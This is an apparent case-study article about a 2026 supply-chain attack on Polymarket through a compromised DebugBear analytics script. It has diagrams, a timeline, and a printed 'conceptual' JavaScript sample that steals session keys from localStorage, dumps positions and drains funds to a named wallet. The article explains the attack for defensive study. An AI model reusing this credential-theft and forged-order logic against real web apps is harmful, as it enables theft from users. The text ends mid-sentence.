Trading on Polymarket’s international exchange came to an abrupt halt on Thursday, October 29, 2026, after a compromised third-party analytics script hijacked client browsers, liquidated hundreds of user portfolios, and siphoned more than $2.65 million in digital assets. The incident unfolded less than a week before the November 3 U.S. midterm elections, landing precisely when the prediction market was processing record volumes.
The attack did not compromise Polymarket’s underlying smart contracts or breach its core server infrastructure. Instead, threat actors compromised DebugBear, a United Kingdom-based web performance monitoring firm whose Real User Monitoring (RUM) code was embedded on Polymarket.com. Once weaponized, the vendor’s hosted script transformed every active browser session into an automated asset-stripping engine. It read user authentication keys directly from browser local storage, flooded the platform's central limit order book (CLOB) with predatory market sell orders, swapped the resulting balances into Polygon’s native POL token, and funneled the proceeds into attacker-controlled wallets.
ATTACK FLOW: CLIENT-SIDE HIJACK
+-----------------------+ Compromised Script Injection
| DebugBear CDN | =======================================+
| (cdn.debugbear.com) | |
+-----------------------+ v
+--------------------+
| User's Browser |
| (Polymarket.com) |
+--------------------+
|
1. Extracts session token | 2. Initiates firesale
from localStorage | orders via CLOB API
v
+-----------------------+ 4. Pauses Relayer +--------------------+
| Polymarket Security | ---------------------------> | Polymarket Relayer |
| (Emergency Halt) | | & Polygon CLOB |
+-----------------------+ +--------------------+
|
| 3. Swaps to POL &
| transfers to:
v
+--------------------+
| Attacker's Wallet |
| (0x3F99...fc18) |
+--------------------+At 18:05 UTC, Polymarket placed its Predictions Trading API into cancel-only mode, suspended its transaction relayer, and halted trading. While the company managed to isolate the breach within an hour and promised that all affected users would be fully reimbursed, the breach drained roughly 1,000 accounts and generated millions of dollars in catastrophic order slippage across major prediction contracts.
The October 2026 Polymarket data breach provides an instructive case study of the structural vulnerabilities in modern web applications that blend decentralized finance with high-performance web frontends. Understanding how a single performance-tracking snippet compromised hundreds of cryptocurrency accounts reveals the systemic risks built into contemporary software supply chains, browser security models, and automated transaction relayers.
Chronology of a Client-Side Takeover
The attack began surfacing publicly around 17:30 UTC on October 29, when high-volume traders noticed their open positions vanishing without authorization. Trader Car (@CarOnPolymarket) alerted the community on X, warning users to immediately lock their accounts after watching $800,000 disappear from his balance within minutes, alongside an associate who lost $600,000. Blockchain records subsequently cataloged individual losses of $341,000 and $307,000 across roughly 995 drained user accounts.
INCIDENT TIMELINE: OCTOBER 29, 2026 (ALL TIMES UTC)
========================================================================================
17:30 First user reports of unauthorized liquidations surface on Discord and X.
17:42 On-chain analysts flag anomalous outflows converting USDC.e to POL on Polygon.
18:00 Polymarket security engineers identify DebugBear script as the injection vector.
18:05 Trading API placed in cancel-only mode; Polygon transaction relayer suspended.
18:15 DebugBear publishes public advisory urging customers to pull RUM embed snippets.
18:40 Malicious snippet completely purged from Polymarket CDN edges and caches.
19:00 (3:00 PM ET) Polymarket restores trading; pledges full restitution to victims.The attack moved systematically through the platform's order book. Rather than executing an on-chain transfer that would trigger typical Web3 wallet confirmation dialogs, the malicious payload acted within the browser session. It leveraged Polymarket's gasless, off-chain order execution design.
Polymarket's hybrid architecture relies on an off-chain central limit order book where traders sign session keys or use gasless relayers to trade seamlessly without confirming every individual order via MetaMask or hardware wallets. The attacker’s script commandeered these active sessions.
// Conceptual representation of the malicious logic injected via cdn.debugbear.com
(async function extractAndLiquidate() {
try {
// 1. Inspect browser storage for active session credentials
const sessionKey = window.localStorage.getItem('polymarket_session_key');
const userAddress = window.localStorage.getItem('polymarket_user_address');
if (!sessionKey || !userAddress) return;
// 2. Fetch authenticated positions via Polymarket CLOB API
const positions = await fetch(`/api/positions?user=${userAddress}`, {
headers: { 'Authorization': `Bearer ${sessionKey}` }
}).then(r => r.json());
// 3. Liquidate open positions at aggressive discounts to ensure instant fills
for (const pos of positions) {
await fetch('/api/orders', {
method: 'POST',
headers: {
'Authorization': `Bearer ${sessionKey}`,
'Content-Type': 'application/json'
},
body: JSON.stringify({
market: pos.marketId,
side: 'SELL',
shares: pos.size,
price: Math.max(0.01, pos.currentPrice * 0.50), // Dump at half-price
type: 'MARKET'
})
});
}
// 4. Swap balance to POL and execute withdrawal to attacker address
await initiateDrain(userAddress, sessionKey, "0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18");
} catch (err) {
// Fallback telemetry reporting to attacker backend
}
})();The script operated in cascading stages. It first dumped user shares at 3% below prevailing market prices. If orders did not clear instantly, it slashed the ask to 50% of fair value, eventually dropping bids to the platform’s floor limit (1 cent per share) to force fills against passive market makers.
Once liquidated, the collateral (primarily Bridged USDC, or USDC.e) was swapped into POL tokens. The choice of POL was tactical: native network tokens lack the centralized blacklisting functions built into stablecoins such as Tether (USDT) or native Circle USD Coin (USDC). The attacker siphoned approximately 28.6 million POL into primary wallet 0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18 before transferring the loot into secondary split wallets.
At 18:05 UTC, Polymarket engineers revoked the malicious script, placed the trading engine into cancel-only mode, and halted their automated relayer. DebugBear concurrently published an advisory confirming an ongoing security incident affecting its RUM infrastructure and urged all enterprise clients to delete the embedded JavaScript tag immediately. By 19:00 UTC (3:00 p.m. ET), Polymarket resumed full trading, announcing that its core systems were secure, law enforcement in the UK had been alerted, and all victims would be made whole.
Anatomy of the Vendor Vector: Why DebugBear Failed
To understand how an analytics vendor compromised an entire exchange, one must examine the role of client-side performance monitoring. Modern web platforms run extensive client-side JavaScript to assess Core Web Vitals, measure real-world network latency, debug frontend exceptions, and map user interactions. DebugBear provides these metrics through a Real User Monitoring (RUM) script loaded directly into the client document object model (DOM).
+------------------------------------------------------------------------------------+
| CLIENT BROWSER RUNTIME (DOM) |
| |
| +-------------------------------------+ +------------------------------------+ |
| | Polymarket Core App | | DebugBear RUM Script | |
| | - Order execution logic | | - Performance telemetry | |
| | - LocalStorage session keys | | - Unrestricted DOM access | |
| | - Relayer communication channels | | - Full JavaScript execution scope | |
| +-------------------------------------+ +------------------------------------+ |
| | | |
| +--------------------+--------------------+ |
| | |
| v |
| [ SHARED CLIENT CONTEXT: window, localStorage, cookies ] |
| |
| VULNERABILITY: Any script running in this space can read |
| variables, hook network calls, and forge API requests. |
+------------------------------------------------------------------------------------+Web browsers treat any third-party script loaded via a standard